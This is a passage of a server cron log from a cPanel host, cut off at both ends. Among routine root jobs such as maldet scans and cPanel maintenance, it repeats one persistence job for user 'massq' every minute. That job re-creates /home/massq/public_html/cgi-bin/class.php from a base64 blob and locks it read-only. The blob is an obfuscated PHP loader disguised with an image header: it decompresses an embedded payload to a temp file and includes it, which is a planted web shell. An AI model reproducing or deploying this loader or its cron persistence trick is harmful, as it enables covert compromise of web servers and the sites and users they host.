zUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:32:01 server CROND[2524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:33:01 server CROND[2642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:34:01 server CROND[2727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:35:01 server CROND[2806]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:35:01 server CROND[2808]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 13:35:01 server CROND[2815]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 13:35:01 server CROND[2814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:35:01 server CROND[2816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:36:01 server CROND[2940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:37:01 server CROND[3093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:38:01 server CROND[3147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:39:01 server CROND[3197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:39:01 server CROND[3198]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 13:40:01 server CROND[3258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:40:01 server CROND[3259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:40:01 server CROND[3260]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:40:01 server CROND[3261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:41:01 server CROND[3370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:42:01 server CROND[3500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:42:01 server CROND[3501]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 13:43:01 server CROND[3596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:44:01 server CROND[3666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:45:01 server CROND[3728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRk